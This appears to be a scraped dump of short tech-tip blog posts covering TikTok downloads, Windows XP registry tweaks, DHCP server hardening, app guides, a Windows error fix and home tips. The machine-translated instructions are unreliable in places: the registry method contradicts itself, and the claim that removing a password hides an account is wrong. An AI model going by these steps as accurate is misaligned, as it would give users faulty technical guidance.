https://chrome.google.com/webstore/detail/instant-instagram-and-tik/hfoogiiecnglahookahfeppjlgkkdjdo\nStep 1: You proceed to access the link and select Add to Chrome to install the extension.\n  Step 2: After installing the utility, go to the TikTok site and right- click the video you want to download. You choose Save to Instant to save that video.\n  Step 3: Next, click on the Instant icon on the toolbar of Chrome to open the storage system.\n  Step 4: Finally, click on the videos you want to download to download them to your computer.\n  2. Use the Website conversion Currently, there are many Web sites that can retrieve data from TikTok for users to download. Not only that, the websites that support Download also have algorithms to delete Watermark TikTok on every Video corner.\nHome Download: https://ssstiktok.com/\nStep 1: You proceed to access TikTok and click on the Video you want to download to your computer. Then you select Copy to get the link address.\n  Step 2: You proceed to the Home page Download and paste (Ctrl + V) the link. Then, you click Download to start the system data conversion.\n  Step 3: Next, you have two options as follows:\nWith Watermark: Download Video to your device and still have Waterik by TikTok Without Watermark: Download Video to your device without TikTok's Watermark You choose a mode suitable for you to download.\n  Step 4: Your video download will be opened in a new tab. You right-click on the Video and select Save Video as . (Ctrl + S) to save Video to your computer.\n  In this article, Software Tips have shown you how to Download Video TikTok to your computer quickly and effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2hm6m8rHnVopuep6NiwbB52Kisq2WTpLqxwdOeqQ%3D%3D\n","link":"/post/how-to-download-tiktok-videos-to-your-computer/","section":"post","tags":null,"title":"How to download TikTok videos to your computer"},{"body":" Have you ever wondered how to remove a username from the Windows XP login screen? Luckily, it is quite a simple process. Open Control Panel on your computer.\nMethod 1of 3:\nWhen Having a Single Account  Open Control Panel on your computer.\n  Go to the User Accounts menu.\n  Pick an account to change. Click on the account name that you have.\n  Click on Remove my Password. Type your current password and then click on Remove Password.\n  Restart your computer. You'll see that the account is not displayed and the desktop screen will be displayed directly.\n Method 2of 3:\nDoing the Registry Hack  Click on the Start Menu and then open Run.\n  Type the regedit command in the Run. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT \u0026nbsp;\u0026nbsp;\u0026nbsp; CurrentVersionWinlogonSpecialAccountsUserList\n  Create your new DWORD value on the right hand side. Note that the name of the file should be the name of the username which you want to hide.\n  Delete the registry key you have created. You will notice that the username will not be seen after restarting.\n Method 3of 3:\nUsing Tweak UI  Download the Tweak UI software for Windows XP.\n  Open it and click on logon. Uncheck the box of \"Show username on Welcome Screen\" and then click on OK.\n  Restart your computer. You will find that your account is hidden.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyaZK6rlae7ornEZp2rp51iwamxjLCgp5yfrMBuxM9mo6ifmaN6tK%2FRnpyn\n","link":"/post/how-to-remove-a-username-from-the-windows-xp-login-screen/","section":"post","tags":null,"title":"How to Remove a Username from the Windows XP Login Screen"},{"body":"Internet Cafe Simulator 2 is a hot business simulation game today. In this game, gamers will transform into the owner of an internet cafe, must manage to attract many customers for the store to develop well. When running an internet cafe, there will be a lot of achievements that players need to unlock. This article will guide players how to unlock all achievements in Internet Cafe Simulator 2.\nAchievements in Internet Cafe Simulator 2 Tutorial This achievement is very simple, players just need to follow the game instructions. If people ignore it, remove the game and reinstall it.\nBlackjack Everyone needs to find the rabbit club, then spend $100 on the bodyguard to get inside. Find the poker table located in the room behind the bar, play there once and complete the achievement.\nPolice investigation  Police in Internet Cafe Simulator 2\nJust let the police come and look for you, they will find randomly in the game, so don't try to rush them, this won't work.\nFamily Make sure everyone talks to the beggar and does his duty. The sleep creates the progression of the days, every day the beggar will have a new task, the gamer must really sleep to conduct his mission.\nOne of the quests as the beggar asks you to hit a bald guy in a white tank top. Players just need to find the man who looks like Vin Diesel and defeat him with the chat ball stick, then return to the beggar to complete the mission.\nFighter Take down some people.\nCracker Crack a game using the cmd console on the PC in the shop.\nReporter When leaving the apartment, people will see 2 people dumping trash right in front of them. Take a look between the two of them.\nthief  Defeat the thief who stole the items in his shop\nTake down a thief trying to steal everyone's stuff.\nGame Lover This achievement is very simple, people just need to buy all Steam games on PC at the store. Steam is downloaded from the app page on the in-game web browser.\nMining  Bitcoin Mining Machine\nEveryone needs to buy a bitcoin miner and mine more than 1 BTC, then go to sleep in his bed.\nMMO golem Play classic warcry on PC in the shop and kill a golem.\nHotdogs Buy a Hotdog stand from its cafe website.\nFree Spins Buy Free Spins for $2000 on Fruit Spin.\nFlying Cafe  The beggar in the game\nAnother quest from the beggar, this is his last, taking place on the 7th day from sleep. The beggar needs 1500 dollars.\nCrypto Buy or sell at least $10k in crypto.\nRichest This is an important achievement. Players need to have $100,000, then go to sleep. It only activates when the character is asleep. Specifically, how to accomplish this achievement is as follows:\nAt the start of the game everyone will have $2000. Don't waste this money on PC purchases. Just buy a $1370 or $1400 arcade machine on Zamora (both bring in the same $120 income so just buy the cheaper one). Put it in your internet cafe and open the shop. Every time someone uses it, the player will instantly get $120 each time. Gamers will get about 600-800 dollars per day. By March 2, buy an additional $1370 arcade machine. At that time, the player's income will double. Do this 4-5 times until you have 6-7 high end arcade machines. At that time, gamers will earn about 2000-3000 dollars per day. Feel free to save up and buy each of the best high-end PCs, consoles,. Use all your staff and start upgrading your store. After about 5-6 hours in reality, the player will have a full shop of equipment and can afford to buy everything. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2eobykt4yao6VlkZi1qrHVnqSepqSoeqq6jKKlrZ2io7K1ecKanZ5lo566trjAraarZWI%3D\n","link":"/post/how-to-unlock-all-achievements-in-internet-cafe-simulator-2/","section":"post","tags":null,"title":"How to unlock all achievements in Internet Cafe Simulator 2"},{"body":"The translation application on the phone supports a lot and is an essential tool for anyone learning a foreign language. Most translation applications now include a dictionary feature that lets you look up individual words with other information such as word format, word usage example, .\nDict Box is the translation application, dictionary on iPhone / iPad. When using Dict Box, we will be choosing translation sources such as Google Translate, Oxford when searching words, Wiki to add information with specialized words, famous firms, . So users have more Different sources of trust to serve your learning and working needs. The following article will guide you how to use the Dict Box application to translate words and documents.\nTop 15 leading English learning apps on Android and iOS Top 10 best websites to find foreign friends learn English and exchange languages How to translate web pages on Google Translate Guide to translating documents with Dict Box Step 1:\nUsers click on the link below to download and install the Dict Box application for iPhone / iPad.\nDownload the app Dict Box iOS Step 2:\nAfter installing the application, the user accesses Safari application or any application to translate words and text. Black out the text you want to translate and click the Share button . Then click on Add .\n   Display Activities including Dict Box Vietnames. Please activate the application to use.\n   Step 3:\nGo back to the interface and repeat the text selection operation. In the sharing section you will see the Dict Box application to use. When clicking on it, the user is transferred to the interface of selecting different translation sources .\n   Step 4:\nFor example, to translate text, select Google Translate. By default the target language will always be Vietnamese, and the results displayed are as shown below. In addition, we can change to other target languages ​​depending on the need to use.\n    Step 5:\nTranslate words through Dict Box also black out the words to translate and click Share. This will immediately display the translation result of the Dict Box application. If you want to search for more sources, click on the 3 dots along the top.\nThen select the translation tool, such as Oxford. The translation result will look like the image below. In addition to specialized words, if you click on the source Wiki will also show more information on this website.\n    Step 6:\nIn addition, in the translation interface of the application when searching words, clicking on the sharing icon in the left corner will be transferred to the detailed translation interface, along with other options.\n   Click on the icon 3 horizontal dots will display options as shown. Click Notes to write more notes for that word.\n   Step 7:\nThe application also features a lookup from the voice , tap the microphone icon and agree to some access.\n   Next comes the English word and the application will recognize the voice to display the words on the interface. Then the results from the voice will show.\n   Step 8:\nAccess to Dict Box translator application . Here you will see all the words as well as translated text on the application, through the auto-save translation history feature.\nClicking on a word also displays the translation content. Clicking on the book icon will bring up the interface as below, with History, Favorites, Notes, Remembered. Translated words on Dict Box have accompanying illustrations.\n    Here when you press the 3 dots and select the word, there will be the Delete option in the list. Filter to display words by name, number of searches.\n   Step 9:\nGoing back to clicking on the 3 dashes icon will show the setting options for the application. Click the gear icon to display the settings when translating.\n   Above is how to use Dict Box application to translate, look up words, translate from English to Vietnamese on iPhone / iPad. Users can choose to translate words with the application's translator, or use additional resources that Dict Box supports. The word search feature also works stably.\nSee more:\nHow to translate text on photos for iPhone with Translate Photo How to translate images, translate words on photos for Android Dictionary search utilities on Chrome should not be ignored I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqltcKtZJunqGLBsHnTq5inq5yWwaZ5wKebZqSfpLhuwc9mrqiqlKh6sLqMoqehp56a\n","link":"/post/how-to-use-dict-box-to-translate-and-look-up-words-on-iphone/","section":"post","tags":null,"title":"How to use Dict Box to translate and look up words on iPhone"},{"body":"TipsMake.com - In part 1, we came across some typical situations of DHCP server and some basic methods to prevent . In Part 2, we will continue with the effective methods and tools used to enhance the security of DHCP servers in Windows 2000 and Windows Server 2003 platforms.\n  Learn about DHCP Server Security (part 1)\nLearn about DHCP Server Auditing\nControlling the DHCP database on a DHCP server will help you determine which DHCP clients are receiving the address directly from the server better. In addition, this process also helps you identify BAD_ADDRESS components in the database, and where they are located . these information are really useful, when they can cause conflicting addresses when The fake DHCP server system performs address assignment while they are still in use.\nTo enable control over the entire DHCP server system, open the DHCP console panel to connect to the DHCP server on the network. Right-click on the server node and select Properties , on the General tab, check the Enable DHCP audit logging box :\n  The DHCP control logs are stored by default in the % windir% system32dhcp directory , but users can change them via the Advance tab. These logs are created or attached to the daily work lists called DhcpSrvLog-Mon.log, DhcpSrvLog-Tue.log . Each of these records will start with the corresponding event ID, and the section First record stores the list of IDs with detailed explanation. In addition, custom operations can also be done via HKLMSYSTEMCurrentControlSetServicesDHCPServerParameters key in the Registry:\n- DhcpLogFilesMaxSize specifies the maximum capacity for all DHCP archive log files (default is 7 MB) - DhcpLogDiskSpaceCheckInterval specifies the checking of DHCP disk usage (default mode is 50 minutes) - DhcpLogMinSpaceOnDisk determines the minimum free space to temporarily lock the login function (default level is 20 MB)\nDHCP Administrators Group\nIn the past, for some systems, members of the Domain Admins group had full authority to set up DHCP on the server, and you could also authorize user accounts with appropriate tasks to manage the system's DHCP. system. To do this, open Active Directory Users and Computers and add the user account name to the DHCP Administrators group:\n  This mechanism gives users the ability to directly manage the DHCP server on the system without having to grant, authorize or authenticate to that admin account to perform other tasks. However, a problem arises here is how to manage all members of the DHCP Administrators group to make sure no unauthorized or fake accounts have been added to this group?\nBesides, you can track members of important groups like DHCP Administrators using the Restricted Groups feature of Group Policy. To do this, use Active Directory Users and Computers to open the Default Domain Policy and go to Computer ConfigurationWindows SettingsSecurity SettingsRestricted Groups :\n  Right-click Restricted Groups and select Add Group , here we specify DHCP Administrators as the user group to monitor:\n  Click OK , select the Add button in the next properties table to specify which accounts are allowed to become members of the group.\nNote that, even though the group has a member in it, you still have to take this step and identify each member of that group again:\n  Click OK and the DHCP Administrators group members are limited as desired (in this example, Bob Smith account):\n  What happens when we do the above step, every time Group Policy conducts refreshing of all domain controller members (usually 5 minutes every time) in the DHCP Administrators group checked, or due to a problem (malware) that an account number (here Mary Smith ) when added to the group, then automatically deleted, event ID 637 will be logged Security log if you have enabled the feature manage and control accounts. And, members of the DHCP Administrators group will be monitored and managed as closely as possible.\nNote that Windows 2000 comes with another account group called DHCP Users, which can be used to assign user accounts with read-only properties using a DHCP console, and members of this group. also controlled in the same way as Restricted Groups.\nDNSUpdateProxy Group\nOn Windows networks, DHCP and DNS can work together to simplify the process of setting up and customizing network system operations. Usually, the most common problem is that the DHCP client registers a direct (host) record with the DNS server, while the pointer PTR is registered instead of the client by the DHCP server. This means that attacks on DHCP servers can control through the logs registered with the DNS server system and continue to be used to redirect traffic to bad websites, or cause the current Denial Of Service - DoS. If you 'turn the DHCP server' into a member of the DNSUpdateProxy group, your DHCP server will not lose ownership or data records of the client. These are mostly used when updating or upgrading from Windows NT to ensure that subordinate clients that do not support DNS can lose their ownership when upgrading to Windows 2000 or Windows XP.\nThe advantage of doing this is that you should only add the computer accounts of the DHCP server to the DNSUpdateProxy group if you intend to upgrade from previous versions of Windows 2000 to Windows 2000 or Windows XP. Another point to note is never add a DHCP server to the DNSUpdateProxy group if the DHCP server system is operating on the domain controller.\nFake DHCP Servers detection signs\nFinally, we will show you some useful tools to detect suspicious signs of a fake DHCP server on the system so that it can be easily and easily prevented. Mostly we will use Microsoft 's combined tools and other third - party sources.\nDhcploc.exe\nDhcploc.exe is a tool with the command line interface, which is part of Windows Support Tools located in the SupportTools folder on the XP installation disc or here, and is used to display a list of all DHCP servers being activated. on the internal subnet system. Currently, Dhcploc.exe is still in use from Windows NT 4.0, with the mechanism by sending DHCPREQUEST messages, and displaying the DHCP server's IP address responding with DHCPACK. You can find the syntax used in the Help file when installing Support Tools on the system.\ndhcp_probe\nA research group - Princeton University's Network Systems Group developed a tool called dhcp_probe, capable of detecting DHCP and BOOTP servers via Ethernet. The previous version was built to work on Solaris 8 and SPARC with gcc, and a few patches to work on Linux. Depending on the operating system platform you are using, you can find the right tool on Network Systems Group page or download dhcp_probe directly here.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFusMecp2arlafDpr6MrJycraKewbp5z5qprWVi\n","link":"/post/learn-about-dhcp-server-security-part-2/","section":"post","tags":null,"title":"Learn about DHCP Server Security (part 2)"},{"body":"It is not too difficult when you search for a photo capture application, edit photos for your phone. Applications will help photographers to refresh their photos a lot when providing many major editing features, especially unique icon sets such as SNOW or FotoRus applications. In this article, Network Administrator will show you how to edit images with these 2 applications.\nGuide to editing photos with FotoRus application Step 1: Download FotoRus editing application for iOS and Android.\nDownload the FotoRus app for iOS for free Download the FotoRus app for Android   Step 2: On the program interface select Sticker . Camera interface appears, choose a handsome selfie photo or available in the machine okay.\n  Step 3: Sticker Lab interface will appear immediately after that, scroll down below you will see Descendants of the Sun section .\n  \nStep 4: Here, you can choose different Sticker like hats, stars, team suits, . The rest is in the ability to edit your photos only. Remember to adjust the Sticker to fit your portrait properly.\n   Plus to add new Sticker . Add text, edit the layout for the picture and click Save after it is done\nNote that you do it in turn, for example, choose glass, then choose shirt, hat, medal . using 2 fingers to rotate, change the size of the sticker to fit the medium image take a shot.\nStep 6: After clicking Save, you can share your photos on Facebook, Twitter, Instagram, .\n  Instructions for editing photos and videos with SNOW SNOW gives you a rich icon set with many different themes such as animal pictures, superheroes, animations, . When you add a few small details, your image will become different and more vivid. many times. SNOW not only allows editing images, but with videos you can completely change them with a unique icon set.\nStep 1: Download the SNOW app to your device.\nDownload SNOW for Android for free Download SNOW for iOS Step 2: After downloading and installing successfully, open the application. SNOW will ask you to register an account to be able to use or log in with your Facebook account . If you want to register your own account, click on More Options to register with LINE or Email.\n   Step 3: When successfully logged in, click on the Start button on the screen to proceed with the video or photo shoot.\n  Step 4: At the main interface of SNOW, you can use the front or rear camera by rotating the arrow icon above the center of the screen. Remember to choose the face angle to get the best video.\n  Step 5: Next, we will proceed with selecting icons as well as editing images. At the main interface there will be:\n3 circle icons : effects for images like Origin, Natural, Pretty, . Smiley icon : stock icon for us to choose.    Step 6: At the icon section, you can select the icons to merge into your face. To cancel the effect, press the effect again or the human face icon with the X , the bottom left corner of the screen. The topics will be arranged below. If you click on any topic, the theme icon will appear.\n   Step 7: After selecting the mask, press and hold the middle white button to proceed with the video recording. If you want to take a shot, just press and then leave. If you want to edit, you can click on the T to write, the pen image to adjust the color of the brush stroke.\n   Step 8: Finally, press the green icon in the middle to send to a friend or arrow to download to the computer.\n  Thus, we have guided you through the steps of editing photos and using icons with two applications FotoRuss and SNOW. With SNOW, users can edit video or image with many new icons, constantly updated by the manufacturer.\nRefer to the following articles: How to use Photoshop CS5 - Part 5: Photo editing 5 basic photo editing tips on Adobe Photoshop Express Chibi photo drawing application for Android and iOS phones Wish you have a good time!\nncG1vNJzZmismaXArq3KnmWcp51kuqLAwqFkrqaZpsKmec%2Bhpq2no2LEqsDHZp2orJ%2BnwrR5wKebZquepMRurc%2Bpqg%3D%3D\n","link":"/post/match-unique-photos-with-fotorus-and-snow-apps/","section":"post","tags":null,"title":"Match unique photos with FotoRus and SNOW apps"},{"body":"Microsoft today announced it will soon rebrand the 'Office 365 \"office toolkit to' Microsoft 365 '.In the future, Microsoft will use the Microsoft 365 brand for consumers, small and medium businesses to sign up for Office 365 and Office 365 ProPlus.\nMicrosoft 365: A subscription to make the most of your time\nHere are the names that will be changed:\n- Office 365 Home will change to Microsoft 365 Family.\n- Office 365 Personal will change to Microsoft 365 Personal.\n- Ofiice 365 Business Essentials will change to Microsoft 365 Business Basic.\n- Office 365 Business Premium will change to Microsoft 365 Business Standard.\n- Microsoft 365 Business will change to Microsoft 365 Business Premium.\n- Office 365 Business and Office 365 ProPlus will change to Microsoft 365 App together.Microsoft will use the tags' for business' and 'for enterprise \"to distinguish them.\nThe features of the above software suites remain the same and not all are renamed, here are the Office 365 suites that are kept, at least not yet planned to change:\n- Office 365 for Enterprise\n+ Office 365 E1\n+ Office 365 E3\n+ Office 365 E5\n- Office 365 for Firstline Workers\n+ Office 365 F1\n- Office 365 for Education\n+ Office 365 A1\n+ Office 365 A3\n+ Office 365 A5\n- Office 365 for Government\n+ Office 365 G1\n+ Office 365 G3\n+ Office 365 G5\nExplaining the name change, Microsoft said:\n' First, we want our products to reflect the range of features and benefits of signing up. Microsoft 365 is an integrated suite of applications and services using AI and other advanced enhancements to help you. And for small and medium businesses, the new Microsoft Teams feature will help you organize rich online meetings and events; the ability to store and share files in the cloud so you can collaborate from anywhere; and security and identity solutions to protect your business.\nSecond, we are always looking for ways to simplify. This new approach to naming our products is designed to help you quickly find the software you need and get back to your business . '\nMicrosoft also made it clear that Office applications will remain part of Microsoft 365.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmvMuamp6cXam1pnnOn52im5VigHeBjJupmqaUYsSqwMdmpKKboqTAsLLTZmpvbQ%3D%3D\n","link":"/post/microsoft-replaced-the-office-365-brand-with-microsoft-365/","section":"post","tags":null,"title":"Microsoft replaced the Office 365 brand with Microsoft 365"},{"body":"The Talos Principle is a first-person puzzle game built on extremely attractive 3D graphics for those who love to explore and solve conundrums.\nIn the game, you will play a special robot, possessing super intelligence and special skills in a strange world with advanced science and technology. The task of the player is to solve puzzles to solve the mysteries about humanity, technology and civilization here.\n  The scene in the game is beautifully designed, players will experience the wonders and remnants of the world after many historical changes. The Talos Principle is not just a game but each puzzle has its own meaning, giving players useful lessons.\nRecommended configuration\n  Currently, The Talos Principle is being offered for free on the Epic Games Store until 10pm on December 30, 2019. If you like this game genre, please download it for free before the promotion period ends.\nGuide to get the puzzle game The Talos Principle for free\nStep 1: Login or register for an Epic Games account if you haven't already.\nhttps://www.epicgames.com/id/login  Step 2: Download and install Epic Games Launcher on your computer by following the link below.\nDownload Epic Games Launcher for Win / Mac Step 3: Open Epic Games Launcher -\u0026gt; click Store -\u0026gt; click Get a free game to play every week -\u0026gt; select \"The Talos Principle Search\" -\u0026gt; click GET -\u0026gt; click Place Oder.\n  Step 4: Click the Library item -\u0026gt; click the Install button below the avatar of \"The Talos Principle Search\" to download the game -\u0026gt; then the installation is complete.\nYou can also log in directly on the web browser (Mobile / PC) and click on the link below to add these two games to the library.\nhttps://www.epicgames.com/store/en-US/product/the-talos-principle/home?sessionInvalidated=true  Please download Last Survivor Diaries, the survival game about the zombie disaster, which is free ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZK2glWLBorjOrGSpqpmjsKq8y55kmmWTpLyteZKdZKCqkaW1qq%2FSZqeusqqhsm6zwKacZq%2BYnrCpecisZJ%2BqlZo%3D\n","link":"/post/please-download-the-talos-principle-a-cool-3d-graphics-puzzle-game-which-is-free/","section":"post","tags":null,"title":"Please download The Talos Principle, a cool 3D graphics puzzle game, which is free"},{"body":"One interesting thing about Samsung's flagship smartphones is that they are equipped with different processing chips depending on the market. Normally, users in the US and China will receive Qualcomm's high-end Snapdragon chip, while the rest of the world will receive Samsung-made Exynos chips.\nThat rarely happens, because if a smartphone company makes its own chip, it will use it on all its phones.\n This year, however, Samsung has changed a bit. The South Korean giant decided to release the Galaxy S20 version with Snapdragon 865 chip in its home country, replacing the Exynos 990 chip version. Although this is good news for users in Korea, but it is also worth the for Samsung itself.\nAccording to a SamMobile report, Samsung's Exynos processor development division was outraged and humiliated by the board's decision. The development team tried to convince but failed. Exynos 990 reports that it does not meet high-end performance expectations.\nIn fact, there have been many tests that show that Exynos chips are inferior to Snapdragon, in terms of performance and battery life. Users even sent a petition to ask Samsung to stop selling high-end smartphones with Exynos chips.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loKtdmsW6us6sZK2dkaJ6uK3SZp%2BupZmhtqLAxJ1ksKCVo3q1tMRmnpqkka3Gbr%2BRaWSsppGlsbOtxqilZnBmanq3sdGsoKimXayyr8CMqKVmq5Ghsm61zWaroZ2Zp3qpu8yeZJynpaPBs8U%3D\n","link":"/post/samsung-s-exynos-team-was-humiliated-when-the-galaxy-s20-snapdragon-865-version-went-on-sale-in-their-home-country/","section":"post","tags":null,"title":"Samsung's Exynos team was humiliated, when the Galaxy S20 Snapdragon 865 version went on sale in their home country"},{"body":"When using a computer with Windows operating system, there is a ' Program has stopped working ' error. This error is often encountered when running software, games, or Windows Explorer has stopped working. You will see an error form the name of the error application + has stopped working.\nThis error can be caused by many different reasons including the hardware of the machine, due to settings on the operating system, due to Game, software or due to errors related to Virus, .\nFirst I will guide how to fix this error in the simplest way , then talk about some causes and corresponding remedies.\nFix 'has stopped working' error with Windows Troubleshooting troubleshooter This is a Windows debugger that helps you scan for applications that fail to run and then automatically fixes the problem. To open the Troubleshooting tool on Windows 7 and Windows 8, 8.1, 10 are slightly different.\nOn Windows 7: Type in the Search box in the Start button ' Troubleshooting '. Then click to open.\n  On Windows 8, 8.1, 10: You hover on the right corner of the screen, the Chambar bar appears \u0026gt;\u0026gt; Select Search. At this section, also type in Troubleshooting, select to the Setting tab below and click Open offline!\n  After opening the Troubleshooting interface troubleshooting tool as follows, click on ' Run programs made for previous versions of Windows '\n  At the dialog box that appears, click Next.\n  Then the tool will scan and display a list of programs (software, games, etc.) for you to choose to fix errors. If not in that list, select Not Listed. Then Next to start fixing errors.\n  Select Try recommended settings.\n  You need to click on Test the program. Then click Next to move on to the error correction section.\nFinally select Yes, save these settings for this program . The Save Settings process runs and you will see the message complete Fixed .\n  With the above method, you will fix the incompatibility errors of the program causing the error message stopped working. However, this error may also be due to other causes.\nSome other causes and solutions 1. Error due to system files\nWhen the computer is infected with Virus or Malware, . or you accidentally delete or install improperly, it will cause system files, strange files to appear . Then you do the following to fix errors: Open the RUN tool by using the nest key combination Windows + R. Then type cmd and Enter. At the Command Prompt window type: sfc / scannow and press Enter.\nThe computer will automatically check the system files, fix errors if any.\n2. Error due to software conflicts\nIt is possible that the software you installed on your computer when running conflicts with each other. How to fix:\nOpen RUN =\u0026gt; type in msconfig =\u0026gt; Switch to Services tab =\u0026gt; click on Hide all Microsoft services =\u0026gt; OK =\u0026gt; Restart the computer.\nThere may be many other errors related to hardware, hard drive, video card, . but hopefully with the small ways above you can fix the Program has stopped working error for programs on your computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdm7a5tc2gZKmqn5y%2FormMoZisZaOpvLG8xJ1ksKeioLavs4yeqaunomK8r3nWoqWdp6eo\n","link":"/post/tips-for-fixing-program-has-stopped-working-error-on-windows/","section":"post","tags":null,"title":"Tips for fixing 'Program has stopped working' error on Windows"},{"body":"Most people don't get screened when they go to bed if they turn on the air conditioner in the room. Because they think that mosquitoes like the hot and humid environment, they just turn on the cool air conditioner, the mosquitoes can no longer attack people. Is this really true?\nSimple way to prevent mosquito bites for young children 3 simple ways to effectively prevent dengue A simple trap can kill quickly, compact 4,000 mosquitoes every night anyone can do it at home   Mosquitoes are obnoxious and scary, especially in the situation of dengue outbreaks that are booming strongly in many places in the country like the present time.\nAs we know, mosquitoes are attracted to CO2 and the scent of the human body. Therefore, the room turns on the air conditioner, the air is circulated well, the temperature is cooler, but this only makes the mosquitoes take longer to determine your location but cannot prevent them from finding them. I want to 'suck blood'.\nIn order to banish mosquitoes, many people even transmit each other 'know-how' to regulate the air conditioner from the Cool mode to Dry - because they believe that the more dry the air is, the more uncomfortable the mosquitoes feel and want to leave immediately.\n  But the truth is that this doesn't work at all. When turning on the air conditioner, we have to close all the doors to save electricity, the air conditioner is not overloaded but it is cooler. This makes the mosquitoes still \"locked up\" in your room, not able to \"run\" anywhere, they just \"hide\" in the dark, waiting for the opportunity to \"hunt\" and transmit the virus to you.\nAlso, according to experts, we should not always use this air drying feature in air conditioning, especially when it is hot and the room has children. Because the air humidity in the room is low, the air conditioner to dry-dry mode causes the air in the room to become too dry, causing skin, people to dehydrate and affect the child's respiratory system.\n  In short, mosquitoes may be less active in conditioning environments but not without and they can still attack you at any time. So whether you turn on the air conditioner when you sleep or not, let's protect ourselves from the mosquitoes as well as the dengue epidemic in the following way:\nWhen sleeping, even if the room has air conditioning turned on or not. Chasing mosquitoes by placing a bowl of pureed garlic at the corners of the house, letting the tangerine / orange peel dry in the corners of the house or using smart devices like mosquito nets, mosquito repellent . Mosquitoes are afraid of orange, so you can install orange bulbs or cover orange glass paper on the lights in the room to ward off them. Clean houses neatly, especially in places like under beds, wardrobes, warehouses, bushes around the house . That's where mosquitoes often shelter. ncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamp2WknbJurcirZJynnpm2tbXOp5yrZZSkerq71Galnp2UYq5ur9Srq5qhnmKvprLOq5xmn5%2Beu6h506hkm52U\n","link":"/post/turn-on-the-air-conditioner-do-you-need-a-curtain-before-going-to-bed/","section":"post","tags":null,"title":"Turn on the air conditioner, do you need a curtain before going to bed?"},{"body":"In the previous posts, TipsMake.com introduced you to the basics as well as how to watch movies for free within 1 month Netflix, online movie watching service has just officially Vietnam. However, many people are still hesitant to choose Netflix for many reasons, in which the reason why the movie warehouse has no Vietnamese subtitles is the biggest.\nToday, we will share with you how to watch movies with Vietnamese subtitles through a small utility called Super Netflix. Please consult.\nStep 1 : Please install Super Netflix utility for Chrome browser\n  Step 2 : Go to the Netflix homepage and choose any movie ( here we choose The Conjuring )\n  Step 3 : If you have installed Super Netflix , it will have the interface as below\n  Step 4 : To put Vietnamese subtitles in, visit the Subscene homepage and find Vietnamese subtitles of movies you want to watch\n  Step 5 : At the new interface, scroll down to find Vietnamese subtitles and download any file\n  Step 6 : Click Download Vietnamese Subtitle\n  Step 7 : To use this subtitle file, we need to proceed to change the SRT to DFXP to suit Netflix through the SubFlicks page.\n  Step 8 : Open the movie projection interface and click on the 3 dots mark on the upper right corner\n  Step 9 : When the new dialog box opens, select the newly downloaded DFXP subtitle file\n  Step 10 : Wait for Netflix to match the data and then you can watch movies with Vietnamese subtitles.\n  How to watch free Netflix movies within 1 month Instructions on how to fix errors cannot watch movies on Netflix How to watch movies on Netflix anywhere? Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kgm6%2FyKanpZ1dqMGmvNJmq6hlp5bBpLSMpqavoZWoeri106FknrCkp65uwM5mraKdpKOurrHSnmSopl2jsrWyy6Kv\n","link":"/post/5-simple-steps-to-watch-movies-with-extra-to-vietnamese-on-netflix/","section":"post","tags":null,"title":"5 simple steps to watch movies with extra to Vietnamese on Netflix"},{"body":"Construction budget management is essential to the accurate execution of a project. A successful project amalgamates quality, time, and proper budgeting. The construction project budget helps construction managers to plan, coordinate, and execute activities while keeping in mind the cost limitations. This article will discuss five key tips that can help keep your construction budget on track.\n  Use a construction project management software: Aconstruction project management software can help streamline budget management by offering a variety of automated features that help keep things on track. For example, project managers can access a high-level overview of project costs and detailed costs for the cost codes with construction project management software. Furthermore, such software also helps project managers clone existing estimations to monitor the construction project budget. Additionally, with automated cost updates, proposal generations, and project lifecycle tracking, construction project management software helps keep projects within the decided budgets.\nIn addition to this, construction management software can help project managers improve, automate, and stay on top of communication, bidding, cost estimations, vendor management, labor activities, etc.\nEstablishing construction project budgets for every project phase: Another efficient way of construction budget management is to develop mini budgets for each project phase. This helps project managers regularly track their financial performance by piecing the total construction budget into smaller intervals. The manager can then track all expenses and costs against these mini budgets and catch overruns earlier. By doing so, the manager can ensure that any cost overruns are made up for throughout the project or adjusted in the overall budget.\nLook out for scope creep and keeping communication streamlined: Now that you have divided your construction project budget into phases, the next thing you need to do is manage it. Scope creep is a common construction problem and refers to alterations in the scope of a project. While changes to a construction project are common, unidentified changes to the scope can often create much trouble for project managers. The ideal way to address this problem is by using your construction project management software to communicate with your team about any changes. This helps adjust the budget and keep the project moving forward by keeping everyone on the same page about the changes.\nManaging staff time to find budget spills: A construction project team is the most valuable asset to the project itself. It is almost impossible to know how successful or profitable a project would be without tracking how the staff's time is allocated. Again, using construction project management software can help you break down information, track employee timesheets, and track construction budgets at every project phase. By monitoring time entries, project managers can opt for more resource utilization which, as a result, helps projects stay within the targeted budget. More often than not, companies find that areas that they thought were profitable are not. This clarity allows them to target areas causing budget overruns and thus help cut costs.\nAnalyze your project after it is over: Learning from your past projects is ideal for streamlining construction budget management. By analyzing your company's progress and establishing where you went right or wrong with the construction project budget, you can isolate areas of improvement and ensure that your upcoming projects stay on budget. A project analysis will give the project manager more insight into how their construction project management software has helped them stay on budget. It will also allow them to understand how the construction budget can be improved and what resources need to be cut down, increased, or optimized for successful project delivery.\nIf you want to know more about a construction management software that can help streamline construction budget management, try BOLDBuild. BOLDBuild is a product of AlphaBOLD and is a solution designed specifically for the AEC sphere.\nConclusion: A construction budget defines the amount of money you are going to spend throughout your project and, as a result, has a big impact on your overall profits. This is precisely why A.E.C. professionals spend a great deal of time managing bids, cost estimates, material costs, change orders, etc., to create an accurate budget. While changes in the budget are inevitable, the tips shared in this article will help project managers and owners streamline construction budgets to achieve more 